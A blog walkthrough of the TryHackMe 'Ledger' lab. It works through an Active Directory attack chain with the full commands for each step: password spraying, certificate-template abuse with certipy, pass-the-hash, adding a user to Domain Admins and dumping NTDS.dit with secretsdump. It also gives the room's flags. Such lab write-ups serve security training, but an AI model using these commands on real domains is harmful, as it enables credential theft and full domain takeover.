Sitemap

Ledger TryHackMe Walkthrough

7 min readJun 9, 2025

--

TL;DR Walkthrough of the TryHackMe Ledger room.

THM Walkthroughs:

A full list of our TryHackMe walkthroughs and cheatsheets is here.

Background

This room was actually quite simple, the attack was merely

  1. Unauthenticated/anonymous enumeration
  2. Password spraying
  3. AD CS abuse
  4. Post compromise

However the room only has only the one VM, which is of course a DC, and Defender is enabled on it. Hence I had to use Kali based tools throughout the room as one can’t run Rubeus, Mimikatz, etc on the VM. This is a good thing though, as it forced me to brush up on some Linux tools for tasks that I normally run from a Windows domain client. I give the room’s author credit for that.

On an admin note; the astute reader will notice that the target IP changes throught this walkthrough. This is because I would run out of time on the VM and have to restart it. No reverse shells were used in this room, just bear in mind that any IPs shown in the commands belong to the target VM.

1. Unauthenticated/anonymous enumeration

As always we start with a nmap scan.

sudo nmap -sV -O 10.10.180.201

We then attempt to enumerate without knowing credentials yet. We do however know the domain name; thm.local

enum4linux 10.10.180.201

I didn’t find anything useful via enum4linux however, so let’s try enumerating as guest, just in case it’s enabled.

enum4linux -u thm.local\\guest -a 10.10.180.201

Guest is not enabled however, so let’s try anonymous LDAP via ‘ldapsearch’ on Kali.

ldapsearch -x -H ldap://10.10.180.201 -b "dc=thm,dc=local" > thm_enum.txt

We get a hit, the DC has anonymous LDAP enabled. Nice, we now have a list of usernames, groups, etc.

Let’s try checking the descriptions on any user accounts that have them set. After all these CTFy rooms often leave clues, passwords, even flags in AD account descriptions.

cat thm_enum.txt | grep "description"

At least 2 user’s descriptions are “Please change it: CHANGEME2023!”

Nice, we have an ugly, unformatted list of usernames and a password to try spraying.

2. Password spraying

Now we just need a simple list of usernames, not the full dump from ldapsearch. I already had most of this handy from pulling usernames out of enum4linux output, hence I just tweaked it to handle ldapsearch output.

#Parse the usernames out the LDAP search results
Get-Content C:\Users\test\Documents\thm_enum.txt | Select-String "SamAccountName:" | Out-File C:\Users\test\Documents\Parse.txt

$Lines = Get-Content C:\Users\test\Documents\Parse.txt
ForEach($Line in $Lines)
{
$Temp = $Line.Split(":")[1]
$Temp.Replace(' ','') | Out-File C:\Users\test\Documents\thm_usernames.txt -Append
}

Nice, we have a username list. Let’s put it to use and spray that password we found.

Please note; if you copy/paste the file thm_usernames.txt from Windows to Kali you will get an error when you attempt to run crackmapexec. You have to open the file in Notepad -> Ctrl + A -> copy/paste the contents to a new file on Kali.

crackmapexec smb 10.10.180.201 -u /home/kali/Downloads/thm_usernames.txt -p CHANGEME2023\!

We get hits on Ivy_Willis and Susanna_McKnight, so now we have initial, authenticated access to the domain.

Dead ends

Let’s enumerate with creds now.

enum4linux -u thm.local\\Ivy_Willis -p CHANGEME2023\! -a 10.10.180.201

There’s just the default shares, and nothing of interest. Let’s try RDPing into the DC and poking around.

xfreerdp /v:10.10.180.201 /u:Susanna_McKnight /p:CHANGEME2023\! /dynamic-resolution

We find the user flag on the desktop, but not much else. Note that Defender is also enabled, and immediately deletes any tools we copy/paste to the desktop.

Let’s collect BloodHound data.

mkdir Ledger
cd Ledger
sudo bloodhound-python -d thm.local -u Susanna_McKnight -p CHANGEME2023\! -ns 10.10.180.201 -c all
../neo4j-desktop-1.6.0-x86_64.AppImage
bloodhound

We uploaded the files in the Ledger folder, however I didn’t see a path from our two owned users to Domain Admins.

3. AD CS Abuse

Let’s enumerate AD CS next, maybe we’ll get lucky there.

certipy-ad find -u 'Susanna_McKnight@thm.local' -p CHANGEME2023\! -dc-ip 10.10.180.201 -vulnerable -enabled

The ServerAuth template looks vulnerable. Let’s abuse it.

On a sidenote; if we were on Windows we would use Certify.exe here. I am using CertifyII.exe as I had to download a fresh copy from GitHub in the middle of the CRTP Renewal Exam as the copy I had from Altered Security’s repo refused to function correctly.

This example is from my walkthrough of the AD Certificate Template room here.

.\CertifyII.exe request /ca:LUNDC.lunar.eruca.com\lunar-LUNDC-CA /template:HTTPSWebServer /altname:Administrator
.\openssl\openssl\openssl.exe pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Password12!@ [Enter twice to confirm]
.\Rubeus.exe asktgt /user:Administrator /certificate:C:\Users\thm\Desktop\cert.pfx /password:Password12!@ /outfile:cert.kirbi /domain:lunar.eruca.com /dc:10.10.2.232
.\Rubeus.exe changepw /ticket:C:\Users\thm\Desktop\cert.kirbi /new:Password12!@ /dc:LUNDC.lunar.eruca.com /targetuser:lunar.eruca.com\da-clloyd

However this room’s author, to their credit, forced us to learn how to run this attack entirely from Kali.

I used this example certipy-ad request:

certipy req -u 'billy@foobar.com' \
-p '<PASSWORD>' \
-dc-ip '10.10.1.100' \
-target ' foobar-CA.foobar.com ' \
-ca 'foobar-CA' -template 'FOO_Templ'\
-upn 'DA_Dan@foobar.com'

#The above saves a pfx file, use it via
certipy auth -pfx DA_Dan.pfx

We know Bradley_Ortiz is a Domain Admin from our poking around in BloodHound earlier, so while we didn’t find an escalation path via DACL abuse we did find some very useful information that we will abuse here and impersonate Bradley.

certipy-ad req -u 'Susanna_McKnight@thm.local' -p 'CHANGEME2023!' -dc-ip '10.10.45.67' -target 'labyrinth.thm.local' -ca 'thm-LABYRINTH-CA' -template 'ServerAuth' -upn 'Bradley_Ortiz@thm.local'

certipy-ad auth -pfx bradley_ortiz.pfx

4. Post Compromise

Sweet it worked, we got the hash for ‘bradley_ortiz@thm.local’: aad3b435b51404eeaad3b435b51404ee:16ec31963c93240962b7e60fd97b495d

As Windows folks know, the first hash is LM. We already know what the LM hash above means; it’s the hash for null, in other words there is no LM hash of Bradley’s password. The second part though, after the ‘:’, is Bradley’s NTLM hash, and that is immensely useful to an attacker.

Let’s PTH and login as Bradley.

xfreerdp /v:10.10.176.29 /u:Bradley_ortiz /pth:16ec31963c93240962b7e60fd97b495d

Restricted Admin Mode stops us from PTH via RDP though, and for some reason evil-winrm isn’t working.

evil-winrm -i 10.10.176.29 -u bradley_ortiz -H 16ec31963c93240962b7e60fd97b495d

Perhaps WinRM isn’t enabled on the VM. Let’s fix that.

/usr/share/doc/python3-impacket/examples/wmiexec.py thm.local/bradley_ortiz@10.10.176.29 -hashes aad3b435b51404eeaad3b435b51404ee:16ec31963c93240962b7e60fd97b495d

winrm quickconfig –force

But WinRM is already enabled, odd. Maybe the room’s author pushed a GPO that stops PTH over WinRM as well. If so, kudos to them, most TryHackMe rooms don’t do that. They’re forcing us to work harder.

Let’s just add the user we already have valid credentials for to the Domain Admins group, then we should be cleared hot to RDP as them.

net group "Domain Admins" Susanna_McKnight /add /domain

As the astute reader will notice above, I didn’t remember the legacy cmd.exe command correctly. I checked my own walkthrough of the Reset room though and quickly found the right syntax. I will have to update my AD cheatsheet.

If the CLI had been PowerShell I’d have done

New-ADUser -Name "Mishky" -AccountPassword(ConvertTo-SecureString -AsPlainText 'Password00' -Force) -Enabled $true
Add-ADGroupMember -Identity "Domain Admins" -Members "Mishky"

But since it’s legacy cmd.exe we can do either:

dsadd user "CN=Mishky,CN=Users,DC=thm,DC=corp" -samid Mishky -pwd Password00
net group "Domain Admins" Mishky /add /domain

Or we can use an alternate command. You do have to know Susanna’s DistinguishedName though in order to use dsmod.

dsmod group "cn=domain admins,cn=users,dc=thm,dc=local" -addmbr "cn=Susanna_McKnight,ou=test,ou=its,ou=tier 1,dc=thm,dc=local"

Now that we have the username/password of a Domain Admin we can easily dump NTDS.dit.

/usr/share/doc/python3-impacket/examples/secretsdump.py thm.local/Susanna_McKnight:'CHANGEME2023!'@10.10.45.67 > Ledger_NTDS.txt

We can also RDP into the DC as a Domain Admin and use our favorite built in thing of all; PowerShell_ISE.

xfreerdp /v:10.10.176.29 /u:Susanna_McKnight /p:CHANGEME2023\! /dynamic-resolution
Get-ChildItem -Path "C:\Users" -Filter *.txt -Recurse | Select-String -Pattern "THM" | Select-Object Path, LineNumber, Line

We now have the answers to the only two questions in this room.

THM{ENUMERATION_IS_THE_KEY}
THM{THE_BYPASS_IS_CERTIFIED!}

Summary

I don’t know why the room was named Ledger, but overall this was a pretty good room. It forced me to practice using Kali tools like ldapsearch, certipy-ad, and wmiexec.py. It forced me to use legacy cmd.exe commands. I will have to update my AD cheatsheet later.

References

AD CS abuse howto: https://happycamper84.medium.com/setting-up-ad-cs-in-a-range-4c32b4f287a6

Rubeus download: https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/tree/master/dotnet%20v4.8.1%20compiled%20binaries

AD CS abuse via certipy-ad on Kali: https://www.blackhillsinfosec.com/abusing-active-directory-certificate-services-part-one/

impacket: https://github.com/un33k/impacket/tree/master/examples

PTH via various Kali tools: https://www.n00py.io/2020/12/alternative-ways-to-pass-the-hash-pth/

dsmod: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc732954(v=ws.11)

dsadd: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc753708(v=ws.11)

--

--

Rich
Rich

Written by Rich

I work various IT jobs & like Windows domain security as a hobby. Most of what’s here is my notes from auditing or the lab.

No responses yet